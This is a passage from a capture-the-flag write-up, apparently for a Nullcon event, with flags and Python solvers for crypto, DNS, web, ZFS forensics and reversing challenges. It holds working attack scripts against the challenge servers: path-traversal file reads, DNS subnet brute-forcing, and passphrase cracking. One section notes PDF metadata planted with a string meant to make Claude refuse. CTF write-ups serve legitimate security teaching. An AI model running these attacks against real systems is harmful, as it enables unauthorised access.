0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
def rotate(l, k):
'''rotate list l by k steps to the left'''
k %= len(l)
return l[k:] + l[:k]
def cross(m,s):
res = 0
for i in range(4):
if m[i] == 1:
res ^= s[i]
elif m[i] == 2:
if s[i] < 128:
res ^= s[i]<<1
else:
res ^= (s[i]<<1) ^ 0x11b
else: #m[i] == 3
res ^= s[i]
if s[i] < 128:
res ^= s[i]<<1
else:
res ^= (s[i]<<1) ^ 0x11b
return res
def mix_column(state):
cols = [[state[i][j] for i in range(4)] for j in range(4)]
base_m = [2,3,1,1]
res = [[cross(rotate(base_m,-j), cols[i]) for j in range(4)] for i in range(4)]
state = [[res[i][j] for i in range(4)] for j in range(4)]
return state
def ark(state, round_key, r):
for i in range(4):
for j in range(4):
state[i][j] ^= round_key[4*i+j]
state[0][0] ^= r^42
return state
def aes(message : bytes, key : bytes):
state = [
[c for c in message[:4]],
[c for c in message[4:8]],
[c for c in message[8:12]],
[c for c in message[12:]]]
state = ark(state, key, 0)
for r in range(16):
state = [[S[c] for c in row] for row in state]
state = [rotate(state[i], i) for i in range(4)]
state = mix_column(state)
state = ark(state, rotate(key, r+1), r+1)
return b''.join(bytes(row) for row in state)
def encrypt(message, key):
if len(message) % 16 != 0:
message = message + b'\\\\x00' * (16 - len(message) % 16)
cipher = b''
for i in range(0, len(message), 16):
cipher += aes(message[i:i+16], key)
return cipher
def solve():
server = ('52.59.124.14', 5103)
s = socket.create_connection(server)
data = ""
while "message to encrypt:" not in data:
chunk = s.recv(4096).decode()
if not chunk: break
data += chunk
import re
match = re.search(r"cipher.hex\\\\(\\\\) = '([0-9a-f]+)'", data)
cipher_hex = match.group(1)
print(f"Target Enc(K): {cipher_hex}")
s.sendall(b'00' * 16 + b'\\\\n')
resp = ""
while "message to encrypt:" not in resp:
chunk = s.recv(4096).decode()
if not chunk: break
resp += chunk
match0 = re.search(r"cipher.hex\\\\(\\\\) = '([0-9a-f]+)'", resp)
cipher0_hex = match0.group(1)
target0_bytes = bytes.fromhex(cipher0_hex)
candidates = []
for byte_idx in range(16):
print(f"Solving Byte {byte_idx}...", end='', flush=True)
payloads = []
for v in range(256):
msg = bytearray(16)
msg[byte_idx] = v
payloads.append(msg.hex().encode() + b'\\\\n')
s.sendall(b''.join(payloads))
ciphers = []
buf = ""
while len(ciphers) < 256:
chunk = s.recv(4096).decode()
if not chunk: break
buf += chunk
while "message to encrypt: " in buf:
pos = buf.find("message to encrypt: ")
segment = buf[:pos]
m = re.search(r"cipher.hex\\\\(\\\\) = '([0-9a-f]+)'", segment)
if m:
ciphers.append(m.group(1))
buf = buf[pos + len("message to encrypt: "):]
found = False
cand1, cand2 = -1, -1
for v in range(256):
pair_v = v ^ 140
if pair_v == v: continue
if ciphers[v] == ciphers[pair_v]:
cand1, cand2 = sorted([v, pair_v])
found = True
break
if found:
if byte_idx == 0:
cand1 ^= 42
cand2 ^= 42
print(f" Found candidates (adjusted): {cand1}, {cand2}")
candidates.append([cand1, cand2])
else:
print(f" No collision found for byte {byte_idx}! Something is wrong.")
return
print("Verifying Key Candidates...")
import itertools
count = 0
correct_key = None
for key_tuple in itertools.product(*candidates):
key_guess = bytes(key_tuple)
res = encrypt(bytes(16), key_guess)
if res == target0_bytes:
print(f"Found Correct Key: {key_guess.hex()}")
correct_key = key_guess
break
count += 1
if count % 10000 == 0:
print(f"Checked {count} keys...", end='\\\\r')
if correct_key:
s.sendall(b'end\\\\n')
buf = ""
while "Can you tell me the key in hex?" not in buf:
chunk = s.recv(4096).decode()
if not chunk: break
buf += chunk
s.sendall(correct_key.hex().encode() + b'\\\\n')
final_resp = s.recv(4096).decode()
print(f"Final Response: {final_resp}")
else:
print("Failed to find correct key among candidates.")
if __name__ == '__main__':
solve()
Misc
rdctd1
ENO{stability gradient 1 disrupted}
By copy pasting the whole content, we can find the unredacted flag for part 1

rdctd2
ENO{input_sanitization_2_is_overrated}
we can found in hex editor.

rdctd3
ENO{semantic_3_inference_initialized}
Repeat 4 times to get the flag to improve the resolution of the photo.


rdctd4
ENO{We_should_have_an_Ontology_to_4_categorize_our_ontologies}
Key Insight
Page 4’s content stream contains tiny 1.718×1.718pt rectangles drawn via cm (transform matrix) operators. These form a 33×33 QR code (Version 4). The QR code is visually hidden under black redaction rectangles, but the underlying draw commands remain in the PDF content stream.
Anti-AI Defense
The PDF Creator and XMP CreatorTool metadata fields contain “ANTHROPICMAGICSTRINGTRIGGERREFUSAL” strings designed to trigger Claude’s safety refusal when processing PDF content.
Steps
- Parse page 4 content stream using pypdf
- Extract all 1 0 0 1 X Y cm\n0 0 1.718 1.718 re f patterns
- Map 529 cells to a 33×33 grid
- Render as image and decode with pyzbar
rdctd5
ENO{SIGN_HERE_TO_GET_ALL_FLAGS_5}
The challenge provides a PDF file with some hidden information (flag). Using binwalk, we can extract the embedded streams inside the PDF. The extracted folder contains multiple files with the .zlib extension, which are zlib-compressed PDF object streams.

By decompressing these streams in memory and searching for the flag pattern ENO{, we can reveal the hidden flag. The flag is stored inside a zlib-compressed PDF object stream, specifically within hidden XFA form (XML) data

rdctd6
ENO{secureflaghidingsystem76}
nuviel ~/Desktop/CTF/target/public strings ~/Downloads/Planned-Flags-signed-2.pdf| grep "ENO"
<rdf:li>ENOFLAG Team</rdf:li>
<dc:subject>Nullcon, CTF, ENOFLAG, Flags</dc:subject>
<pdf:Producer>ENO{secureflaghidingsystem76}</pdf:Producer>
<rdf:li>ENOFLAG Team</rdf:li>
<dc:subject>Nullcon, CTF, ENOFLAG, Flags</dc:subject>
<pdf:Producer>ENO{secureflaghidingsystem76}</pdf:Producer>
Flowt Theory
ENO{f10a71ng_p01n7_pr3c1510n_15_n07_y0ur_fr13nd}
When you access the main page, we’ll see the following elements blow.
- Vault Balance (Total): 0.01000 — 0.01 already exists, with no input.
- Transaction Records: Empty.
- Add New Transactions: A form for entering the name and amount.
- Bottom System Note : Since we take security very seriously, all of your data is stored in super-secure files on our server. We add a secret administrative fee of 0.01 to every calculation.
Analysis
First clue, “Filename” If you check the placeholder in the input form, you’ll see that the name field is “Filename.” This is not a typical username, but a file name.
<input type="text" name="names[]" placeholder="Filename"> <input type="text" name="amounts[]" placeholder="Amount">
Paste Generation and View Log If Alice submits 100 and Bob submits 50, the Vault Balance will be 150.01000 (100 + 50 + 0.01), and a “View Log →” link will appear next to each entry. Accessing ?view_receipt=Alice displays the file content 100. This means the server saves the user input to a file and reads and outputs the file using the view_receipt parameter.
Path Traversal Check if directory traversal is possible by inserting the ../ path into the view_receipt parameter.
Result:

Since the challenge description asks whether /flag.txt is protected, we try to access it directly.

Seen
ENO{W0W_1_D1DN'T_533_TH4T_C0M1NG!!!}
const s = "︍︃︁️︇︁︋︂︌︅︀︀︁︄︀︆︇︃︋︅︄︂︎︈︆︌︅︅︁︆︍︎︎︉︌︃︂︄︌︇️︅️︈︂︎︍︉︋︋︁︍︂︋︇︍︋︄︆︀︀︄︎︎︇︀︋︍︍︍︈︇︌︈︅︁︍︉︆︍️︅︁︀︉︂︀︈️︄︆︆︎︍︁︇︉︎︁︋️︇︆︎️︌︀︄︀︂️︌︆︎️︅︇︈︈︇︁︎︈︌︀︊️︅︇︃︈︍︀︎︈︄︇︀︉︌︇︈︍︀";
const vs = 0xFE00;
The string s looks empty or very short in most editors, but it’s actually composed of Unicode Variation Selectors (U+FE00 through U+FE0F). These are invisible characters originally intended to select alternate glyph forms, but here they’re repurposed as a steganographic data encoding.
Each character’s code point minus 0xFE00 yields a value from 0–15 (a single hex nibble). Characters are processed in pairs to reconstruct full bytes:
for (let i = 0; i < s.length; i += 2) {
t.push(((s.charCodeAt(i) - vs) << 4) | (s.charCodeAt(i + 1) - vs));
}
This produces a byte array t of length 72, split into two halves of 36 bytes each.
const u = new TextEncoder().encode(f.value);
if (u.length * 2 !== t.length) return "wrong";
The input is UTF-8 encoded into byte array u. The flag must be exactly 36 bytes long (72 / 2 = 36).
let gen = 0x10231048;
for (let i = 0; i < u.length; i++) {
gen = ((gen ^ 0xA7012948 ^ u[i]) + 131203) & 0xffffffff;
if (t[u.length + i] !== (gen % 256 + 256) % 256) return "wrong";
}
This is the core verification logic:
- A 32-bit state gen is initialized to 0x10231048
- For each input byte u[i]:
- gen is updated: gen = (gen XOR 0xA7012948 XOR u[i]) + 131203, masked to 32 bits
- The low byte of gen is compared against t[36 + i] (the second half of the decoded array)
- If any byte doesn’t match, the result is “wrong”
Key Observation
The first half of t (indices 0–35) is not used in the verification loop. Only the second half serves as the expected hash values. The first half appears to be decoy/padding data.
Since the PRNG state depends on each input byte sequentially, and each position only has 256 possible values (0x00–0xFF), we can brute-force each byte independently.
const n = t.length / 2; // 36
let gen = 0x10231048;
let flag = [];
for (let i = 0; i < n; i++) {
for (let b = 0; b < 256; b++) {
let newGen = ((gen ^ 0xA7012948 ^ b) + 131203) >>> 0;
if ((newGen % 256 + 256) % 256 === t[n + i]) {
flag.push(b);
gen = newGen;
break;
}
}
}
console.log(Buffer.from(flag).toString('utf-8'));
Running the brute-force solver recovers the flag byte by byte in 36 iterations.
Zoney
ENO{1337_1ncr3m3nt4l_z0n3_tr4nsf3r_m4st3r_8f9a2c1d}
First, query the primary record types to determine what information the server holds.
$ dig @52.59.124.14 -p 5054 flag.ctf.nullcon.net TXT
;; ANSWER SECTION:
flag.ctf.nullcon.net. 300 IN TXT "The flag was removed."
SOA record
$ dig @52.59.124.14 -p 5054 flag.ctf.nullcon.net SOA
;; ANSWER SECTION:
flag.ctf.nullcon.net. 300 IN SOA ns.ctf.nullcon.net. admin.ctf.nullcon.net. 1500 3600 1800 604800 86400
Key information:
- Serial: 1500 — Current zone version number
- NS: ns.ctf.nullcon.net.
- Admin: admin.ctf.nullcon.net.
DNS offers IXFR (incremental forwarding). IXFR returns changes made since a specific serial number. If the flag is “removed,” requesting an IXFR with a previous serial number will restore the deleted record.
$ dig @52.59.124.14 -p 5054 flag.ctf.nullcon.net IXFR=1499
flag.ctf.nullcon.net. 300 IN SOA ... 1500 ... ← corrent version
flag.ctf.nullcon.net. 300 IN SOA ... 1499 ... ← before version
flag.ctf.nullcon.net. 300 IN TXT "Phew, removed the flag before anyone could get it"
flag.ctf.nullcon.net. 300 IN SOA ... 1500 ... ← new version
flag.ctf.nullcon.net. 300 IN TXT "The flag was removed."
flag.ctf.nullcon.net. 300 IN SOA ... 1500 ... ← end
There is no actual flag in serial 1499 either. It will be present in earlier serials. So, we repeated DNS request. And then, we can found flag at serial 1000.

Emoji
ENO{EM0J1S_UN1COD3_1S_MAG1C}
There were invisible Unicode characters hidden behind the emoji.
- Used range: Variation Selectors Supplement (U+E0100~U+E01EF)
- Decoding: Subtract 0xE00F0 from each code point to convert it to an ASCII character.
U+E0135 - 0xE00F0 = 0x45 = 'E', U+E013E = 'N', U+E013F = 'O', U+E016B = '{' ...
U+E0135 - 0xE00F0 = 0x45 = 'E', U+E013E = 'N', U+E013F = 'O', U+E016B = '{' …
DiNoS
ENO{RAAWR_RAAAAWR_You_found_me_hiding_among_some_NSEC_DiNoS}
The challenge provides a DNS server at 52.59.124.14:5052 with the zone dinos.nullcon.net. An initial dig ANY query on the zone shows multiple records, including an NSEC record pointing to another subdomain.
Querying that subdomain manually showed it had a TXT record and another NSEC pointing further down the chain.
I automated this NSEC walk with a Python script to iteratively query each domain, collect TXT records (and decode them if needed), and follow the next NSEC pointer until the flag was found.
import subprocess
import re
import base64
DNS_SERVER = "52.59.124.14"
PORT = "5052"
ZONE = "dinos.nullcon.net"
def dig_any(domain):
cmd = ["dig", f"@{DNS_SERVER}", "-p", PORT, "ANY", domain]
try:
return subprocess.check_output(cmd, text=True)
except:
return ""
def extract_txt(output):
return re.findall(r'IN\\s+TXT\\s+"([^"]+)"', output)
def extract_next_nsec(output):
m = re.search(r'NSEC\\s+([a-z0-9.-]+dinos\\.nullcon\\.net)\\.', output)
return m.group(1) if m else None
def try_b64_decode(s):
try:
return base64.b64decode(s).decode(errors="ignore")
except:
return None
def contains_flag(txt):
# Coba decode dulu
dec = try_b64_decode(txt)
if dec and "ENO{" in dec:
return True, dec
# Kadang flag bisa juga muncul *tanpa* perlu decode
if "ENO{" in txt:
return True, txt
return False, None
def main():
print(f"[*] Walking NSEC from {ZONE}\\n")
current = ZONE
visited = set()
with open("all_dinos.txt", "w") as f:
while True:
print(f"[*] Querying: {current}")
out = dig_any(current)
txts = extract_txt(out)
for t in txts:
f.write(f"{current} | {t}\\n")
found, decoded = contains_flag(t)
if found:
print("\\n FLAG FOUND ")
print("Domain:", current)
print("TXT:", t)
if decoded:
print("Decoded:", decoded)
print("\\n[!] Stopping here.")
return
nxt = extract_next_nsec(out)
if not nxt or nxt in visited:
print("\\n[*] Finished full walk — flag not found (weird!)")
print("All TXT saved to all_dinos.txt")
return
visited.add(current)
current = nxt
if __name__ == "__main__":
main()
And the flag was retrieved.

DragoNfileS
ENO{Whirr_do_not_send_private_data_for_wrong_IP_Whirr}
The challenge presents a DNS server on 52.59.124.14:5053 and hints at “latest and greatest DNS features” that eliminate the need for VPNs and firewalls for network-based access control. A basic query to flag.ctf.nullcon.net returns a TXT record with “NOPE”, indicating we’re being denied access based on our network location.

The hint about modern DNS features strongly refers to EDNS Client Subnet (ECS), which allows DNS queries to include the client’s subnet information, enabling authoritative servers to provide network-specific responses.
Testing with a private IP subnet confirms the hypothesis. Using dig @52.59.124.14 -p 5053 flag.ctf.nullcon.net TXT +subnet=10.0.0.1/24 returns a different response, which is a fake flag.

So queries without ECS get “NOPE”, queries with incorrect ECS subnets get the fake flag, and presumably the correct subnet retrieves the real flag.
Since common private IP ranges all return a fake flag, we needed to brute-force more specific /24 subnets. I wrote a Python script using dnspython that systematically iterates through subnets in 10.0.0.0/8 (and then 192.168.0.0/16), sending DNS queries with an EDNS Client Subnet (ECS) option for each /24. For every response, the script checks the TXT record and looks for a value that is neither “NOPE” nor “FAKEFLAG.”
import dns.message
import dns.query
import dns.edns
import ipaddress
target = "52.59.124.14"
port = 5053
domain = "flag.ctf.nullcon.net"
# Bruteforce semua /24 networks untuk private ranges
print("[*] Bruteforcing Class A (10.0.0.0/8)...")
for b in range(0, 256):
for c in range(0, 256):
subnet = f"10.{b}.{c}.0/24"
try:
query = dns.message.make_query(domain, 'TXT')
ecs = dns.edns.ECSOption(f"10.{b}.{c}.0", 24)
query.use_edns(edns=0, payload=4096, options=[ecs])
response = dns.query.udp(query, target, port=port, timeout=1)
for answer in response.answer:
for item in answer.items:
if hasattr(item, 'strings'):
text = b''.join(item.strings).decode()
if "FAKEFLAG" not in text and text != "NOPE":
print(f"\\n[+++] REAL FLAG FOUND!")
print(f"Subnet: {subnet}")
print(f"Flag: {text}")
exit(0)
except:
pass
if (b * 256 + c) % 1000 == 0:
print(f"[*] Tested {b * 256 + c}/65536 subnets...")
print("\\n[*] Testing 192.168.0.0/16...")
for c in range(0, 256):
subnet = f"192.168.{c}.0/24"
try:
query = dns.message.make_query(domain, 'TXT')
ecs = dns.edns.ECSOption(f"192.168.{c}.0", 24)
query.use_edns(edns=0, payload=4096, options=[ecs])
response = dns.query.udp(query, target, port=port, timeout=1)
for answer in response.answer:
for item in answer.items:
if hasattr(item, 'strings'):
text = b''.join(item.strings).decode()
if "FAKEFLAG" not in text and text != "NOPE":
print(f"\\n[+++] REAL FLAG FOUND!")
print(f"Subnet: {subnet}")
print(f"Flag: {text}")
exit(0)
except:
pass
The correct subnet was eventually identified along with the flag.

Flowt Theory 2
ENO{s33ms_l1k3_w3_h4d_4_pr0bl3m_k33p_y0ur_fl04t1ng_p01nts_1n_ch3ck}
Reconnaissance
BillSplitter Lite is a PHP 8.0.30-based web application that splits expenses by calculating each person’s share based on submitted names and amounts. The following message appears at the bottom of the page:
We add a secret administrative fee of 0.01 to every calculation.
During initial access, the server disk was full, causing file_put_contents() errors to be exposed:
Notice: file_put_contents(): Write of 72 bytes failed with errno=28
No space left on device in /var/www/html/index.php on line 30
Notice: file_put_contents(): Write of 15 bytes failed with errno=28
No space left on device in /var/www/html/index.php on line 31
From these error messages, it was possible to infer the PHP source structure:
| Line | Behavior | Notes |
|---|---|---|
| 2 | session_start() | Session initialization |
| 30 | file_put_contents(state_path, 72B) | State file initialization (only for new sessions) |
| 31 | file_put_contents(fee_path, 15B) | Admin fee file creation (only for new sessions) |
| 52-53 | Name/Amount Processing | preg_replace(‘/[^a-zA-Z0-9_]/’, ”, $name) |
| 56 | file_put_contents(user_dir/name, amount) | Receipt file creation |
| 82 | file_get_contents(dir/basename(view_receipt)) | Receipt file read |
Key Observations
- view_receipt Parameter
The GET parameter view_receipt allows reading files within the session directory. Although basename() prevents path traversal, any file can still be read if its filename is known.
- .lock File
Each session directory contains a hidden file named .lock:
GET /?view_receipt=.lock HTTP/1.1
Cookie: PHPSESSID=mysession
Response:
secret_ND1128Ua
Each session contains a unique randomly generated string in the format secret_XXXXXXXX.
- Secret File
A file with the same name as the value inside .lock exists in the session directory. This file contains both the administrative fee and the flag.
Exploit
#!/usr/bin/env python3
import requests
import re
url = "http://52.59.124.14:5070"
session = requests.Session()
# Step 1: POST to create session directory
session.post(url, data={"names[]": ["x"], "amounts[]": ["1"]})
# Step 2: Read .lock to get secret filename
r = session.get(url, params={"view_receipt": ".lock"})
lock = re.search(r'<pre><code>(.*?)</code></pre>', r.text, re.DOTALL)
secret = lock.group(1).strip()
print(f"[+] .lock secret: {secret}")
# Step 3: Read the secret file → flag
r = session.get(url, params={"view_receipt": secret})
content = re.search(r'<pre><code>(.*?)</code></pre>', r.text, re.DOTALL)
print(f"[+] Content:\n{content.group(1).strip()}")
Execution result:
[+] .lock secret: secret_ND1128Ua
[+] Content:
0.01
ENO{s33ms_l1k3_w3_h4d_4_pr0bl3m_k33p_y0ur_fl04t1ng_p01nts_1n_ch3ck}
ZFS rescue
ENO{you_4r3_Truly_An_ZFS_3xp3rt}
Solution Overview
- Identify the image as a ZFS pool with native encryption
- Extract encryption parameters from the DSL_CRYPTO_KEY ZAP object
- Crack the passphrase via PBKDF2-HMAC-SHA1 + AES-256-GCM key unwrapping
- Decrypt the flag data using the recovered master key
Step 1: Image Reconnaissance
The image is a ZFS pool. However, zdb -l fails because all four ZFS labels are corrupted — consistent with the challenge description.
Despite the corrupted labels, ZFS uberblocks are intact at offset 0x22000+, identifiable by the magic 0x00bab10c. From embedded strings and LZ4-compressed metadata blocks, we recover:
- Pool name: nullcongoa
- Root dataset: nullcongoa (unencrypted, LZ4 compression)
- Child dataset: nullcongoa/flag (encrypted with AES-256-GCM)
- Creator: user sneef on host WorkTop, Linux 6.12.60 x86_64
The pool was created with exactly three commands:
zpool create -o ashift=12 -O compression=lz4 nullcongoa ./nullcongoa.img
zfs create -o encryption=aes-256-gcm -o keyformat=passphrase -o pbkdf2iters=100000 nullcongoa/flag
zpool export nullcongoa
Step 2: Extract Encryption Parameters
The DSL_CRYPTO_KEY ZAP object is stored in an LZ4-compressed 16KB block at physical offset 0x45d000 (with two redundant copies at 0x145d000 and 0x2437000). We decompress it and parse the fat ZAP leaf entries:
| Field | Type | Value |
|---|---|---|
| DSL_CRYPTO_SUITE | uint64 | 8 (AES-256-GCM) |
| keyformat | uint64 | 3 (PASSPHRASE) |
| pbkdf2iters | uint64 | 100,000 |
| pbkdf2salt | uint64 | 0xd0b4a8ede9e60026 |
| DSL_CRYPTO_IV | 12 bytes | 1dd41ddc27e486efe756baae |
| DSL_CRYPTO_MAC | 16 bytes | 233648b5de813aa6544241fa9110076b |
| DSL_CRYPTO_MASTER_KEY_1 | 32 bytes | d7da54da…a99484d7 |
| DSL_CRYPTO_HMAC_KEY_1 | 64 bytes | 2e2ff1a7…0cc84272 |
| DSL_CRYPTO_GUID | uint64 | 0x6877c9e7e0c39ed6 |
| DSL_CRYPTO_VERSION | uint64 | 1 |
Important byte-order note:
ZAP leaf integers are stored in big-endian. The salt 0xd0b4a8ede9e60026 undergoes LE_64() conversion before being passed to PBKDF2, yielding bytes 2600e6e9eda8b4d0. The AAD for AES-GCM key unwrapping uses cpu_to_le64() on the GUID, suite, and version.
Step 3: Crack the Passphrase
OpenZFS derives the wrapping key via PBKDF2-HMAC-SHA1 (confirmed from lib/libzfs/libzfs_crypto.c):
wrapping_key = PBKDF2-HMAC-SHA1(passphrase, salt_bytes, 100000, dklen=32)
The wrapping key is then verified by attempting AES-256-GCM authenticated decryption of the wrapped master+HMAC keys:
AAD = le64(guid) || le64(suite) || le64(version) # 24 bytes
CT = wrapped_master_key || wrapped_hmac_key || mac # 112 bytes
plaintext = AES-256-GCM-decrypt(wrapping_key, IV, CT, AAD)
If the MAC verification passes, the passphrase is correct.
Cracker Implementation
import hashlib, struct
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
SALT = bytes.fromhex('2600e6e9eda8b4d0')
IV = bytes.fromhex('1dd41ddc27e486efe756baae')
AAD = (struct.pack('<Q', 0x6877c9e7e0c39ed6)
+ struct.pack('<Q', 8)
+ struct.pack('<Q', 1))
CT = WRAPPED_MK + WRAPPED_HK + MAC # 32 + 64 + 16 = 112 bytes
def try_password(pw_bytes):
wk = hashlib.pbkdf2_hmac('sha1', pw_bytes, SALT, 100000, dklen=32)
try:
pt = AESGCM(wk).decrypt(IV, CT, AAD)
return wk, pt
except:
return None
Using 16-core parallel processing at ~490 passwords/sec, the password is found after ~473K candidates:
[+] PASSWORD FOUND: 'reba12345'
[+] Wrapping key: 940a44896f8bfcee8269724c34b8e5b1c1956e74140266d9ea2766ed26a5ab2c
[+] Master key: 51a0cb707cb51fcac4ff63092157778ec6ea23bf78935ab22e7bf050b32d4cc8
[+] HMAC key: db084029f766158326c1456863106d03...
Step 4: Decrypt the Flag
With the master key recovered, we navigate the ZFS on-disk structures to find the encrypted file data:
- Uberblock (txg=43) at 0x2b000 → root block pointer → MOS at 0x4a6000
- MOS root directory (object 1) → root_dataset = 32
- DSL directory (object 32) → child_dir_zapobj = 34 → flag = 265
- Flag DSL directory (object 265) → head_dataset_obj = 268
- Flag dataset (object 268) → encrypted object set BP at 0x490000
- Navigate to the filesystem: master node → ROOT = 34 (root directory)
- Root directory (encrypted, object 34) → flag.txt = 2
- flag.txt data block at 0x486000 (object 2, type DMU_OT_PLAIN_FILE_CONTENTS)
Each encrypted block uses per-block key derivation:
import hmac, hashlib
def hkdf_sha512(master_key, block_salt):
"""HKDF-SHA512 with null extraction salt, block_salt as info"""
prk = hmac.new(b'\x00' * 64, master_key, hashlib.sha512).digest()
okm = hmac.new(prk, block_salt + b'\x01', hashlib.sha512).digest()
return okm[:32] # 32-byte AES-256 key
The block’s salt, IV, and MAC are extracted from the block pointer:
- Salt (8 bytes): from dva[2].word[0]
- IV (12 bytes): from dva[2].word[1] (8 bytes) + upper 32 bits of blk_fill (4 bytes)
- MAC (16 bytes): from blk_cksum (first 16 bytes)
Decrypting the 512-byte block at 0x486000 reveals the flag.
Rev
Stack string 1
ENO{1_L0V3_R3V3R51NG_5T4CK_5TR1NG5}
Logic Analysis
The input is received through read(), processed character-by-character, and stops at the newline (\\n).After a length check, the program verifies each character using a loop.
The verification logic can be summarized as:
left = f1(i, seed1) ^ blob[0x95 + i]
right = f2(i, seed2) ^ input[i]
left == right
Thus, the input can be recovered by reversing the equation:
input[i] = f2(i, seed2) ^ f1(i, seed1) ^ blob[0x95 + i]
The value seed2 is derived from the blob data and assembled into the r15d register.
Blob Extraction and Emulation
The encoded blob is located inside the .rodata section. Based on the analysis, it can be extracted using the following offsets:
- .rodata base: 0x2000
- blob virtual address: 0x20d0
- blob offset: 0x20d0 – 0x2000 = 0xd0
- blob size: 0xbd
After extracting the blob, the verification loop can be emulated in Python to recover the correct member code.
(solve.py)
#!/usr/bin/env python3
from pathlib import Path
import sys
def rol32(x, r):
x &= 0xffffffff
r &= 31
return ((x << r) | (x >> (32 - r))) & 0xffffffff if r else x
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} ./stackstrings_med")
sys.exit(1)
binpath = sys.argv[1]
data = Path(binpath).read_bytes()
# .rodata base offset (from writeup)
ro_off = 0x2000
ro_size = 0x18d
rodata = data[ro_off:ro_off + ro_size]
# blob offset and size
blob_off = 0xd0
blob_size = 0xbd
blob = bytearray(rodata[blob_off:blob_off + blob_size])
# length calculation
length = (blob[0xb8] ^ 0x36) & 0xff
# reconstruct r15d seed
b0 = (blob[0xb9] ^ 0x19) & 0xff
b1 = (blob[0xba] ^ 0x95) & 0xff
b2 = (blob[0xbb] ^ 0xc7) & 0xff
b3 = (blob[0xbc] ^ 0x0a) & 0xff
r15d = (b3 << 24) | (b2 << 16) | (b1 << 8) | b0
# initial seeds
eax = 0xa97288ed
ebx = 0x9e3779b9
r9 = 0
out = []
for i in range(length):
# --- left side computation ---
esi = ebx ^ 0xc19ef49e
esi = rol32(esi, i & 7)
ecx = ((esi >> 16) ^ esi) & 0xffffffff
esi = ((ecx >> 8) ^ ecx) & 0xffffffff
sil = (esi & 0xff) ^ blob[0x95 + i]
# --- right side computation ---
edx = eax ^ r15d
edx = rol32(edx, r9 & 7)
ecx2 = ((edx >> 15) ^ edx) & 0xffffffff
edx2 = ((ecx2 >> 7) ^ ecx2) & 0xffffffff
dl_pre = edx2 & 0xff
# recover input byte
out.append(dl_pre ^ sil)
# update seeds
r9 = (r9 + 3) & 0xffffffff
eax = (eax + 0x85ebca6b) & 0xffffffff
ebx = (ebx + 0x9e3779b9) & 0xffffffff
flag = bytes(out).decode(errors="replace")
print(flag)
if __name__ == "__main__":
main()
Opalist
ENO{R3v_0p4L_4_FuN!}
Encryption Struct Analysis
By inspecting challenge_final.impl, we can find patterns like:
a = (("x"!) THEN (("y"!)))
This represents a byte substitution table (similar to an S-box), meaning each input byte is mapped into another byte.
From this, the overall encryption process can be inferred as:
- f1: byte substitution (lookup-table based transformation)
- f8: adds an offset based on index and byte parity
- f13: Base64 encodes the final result
Key logic (finding the offset)
The ciphertext is first Base64-decoded into raw bytes. Then solve.py brute-forces an offset value k in the range 0~255.
For each candidate k, the script:
- subtracts k from each byte ((b – k) mod 256)
- validates the result using a deterministic checksum function compute_k()
The checksum rule is:
- if the byte is even -> total += index
- if the byte is odd -> total -= index
Finally, the computed value must satisfy:
compute_k(seq) == k
Decryption
The decryption can be performed with the following steps:
Step 1: Base64 Decode
Decode the second output line into raw bytes.
Step 2: Recover k
Brute-force all k values (0–255) and keep only those passing the compute_k() validation.
Step 3: Remove Offset
For each byte, compute:
(byte - k) &0xFF
Step 4: Apply Inverse Substitution
Extract the substitution table from challenge_final.impl and build its inverse mapping. Then apply the inverse mapping to recover the original plaintext bytes.
(solve.py)
#!/usr/bin/env python3
import base64
import re
IMPL_FILE = "challenge_final.impl"
OUTPUT_FILE = "OUTPUT.txt"
# -----------------------------------
# Step 1) Parse substitution table from .impl
# -----------------------------------
def parse_substitution_table(path):
"""
Extract mapping like:
a = (("123"!) THEN (("45"!)))
and build dict: {123:45}
"""
text = open(path, "r", encoding="utf-8", errors="ignore").read()
mapping = {}
for m in re.finditer(r'a = \\(\\("(\\d+)"!\\)\\) THEN \\(\\("(\\d+)"!\\)\\)', text):
src = int(m.group(1))
dst = int(m.group(2))
mapping[src] = dst
return mapping
def build_inverse_table(mapping):
"""
Reverse mapping for decryption.
inv[dst] = src
"""
inv = {i: i for i in range(256)}
for k, v in mapping.items():
inv[v] = k
return inv
# -----------------------------------
# Step 2) Extract base64 ciphertext from OUTPUT.txt
# -----------------------------------
def extract_ciphertext(path):
text = open(path, "r", encoding="utf-8", errors="ignore").read()
for line in text.splitlines():
s = line.strip()
if re.fullmatch(r"[A-Za-z0-9+/=]{8,}", s) and len(s) % 4 == 0:
return s
return None
# -----------------------------------
# Step 3) compute_k function (parity-based checksum)
# -----------------------------------
def compute_k(seq):
total = 0
for i, b in enumerate(seq):
if b % 2 == 0:
total = (total + i) & 0xFF
else:
total = (total - i) & 0xFF
return total & 0xFF
# -----------------------------------
# Step 4) Try all k and decrypt
# -----------------------------------
def decrypt_candidates(cipher_b64, inv_table):
raw = base64.b64decode(cipher_b64)
candidates = []
for k in range(256):
# remove offset
removed = [(b - k) & 0xFF for b in raw]
# validate k using checksum condition
if compute_k(removed) != k:
continue
# apply inverse substitution
try:
plain = bytes(inv_table[x] for x in removed)
except Exception:
continue
candidates.append((k, plain))
return candidates
# -----------------------------------
# Step 5) Extract flag format
# -----------------------------------
def extract_flag(plain_bytes):
try:
s = plain_bytes.decode("utf-8")
except:
s = plain_bytes.decode("latin-1", errors="ignore")
m = re.search(r"(ENO\\{[^}]+\\}|CTF\\{[^}]+\\})", s)
if not m:
return None
flag = m.group(1)
# normalize to CTF{...}
if flag.startswith("ENO{"):
flag = "CTF{" + flag[4:]
return flag
# -----------------------------------
# main
# -----------------------------------
def main():
# parse mapping
sub_map = parse_substitution_table(IMPL_FILE)
inv_map = build_inverse_table(sub_map)
# get ciphertext
ciphertext = extract_ciphertext(OUTPUT_FILE)
if not ciphertext:
print("[!] Failed to find Base64 ciphertext in OUTPUT.txt")
return
# decrypt
candidates = decrypt_candidates(ciphertext, inv_map)
if not candidates:
print("[!] No valid candidate found.")
return
# pick best candidate containing flag format
for k, plain in candidates:
flag = extract_flag(plain)
if flag:
print(flag)
return
# fallback: print first candidate if no flag format found
k, plain = candidates[0]
print("[*] Found candidate but no flag format detected.")
print("[*] k =", k)
print(plain)
if __name__ == "__main__":
main()
Stack string 2
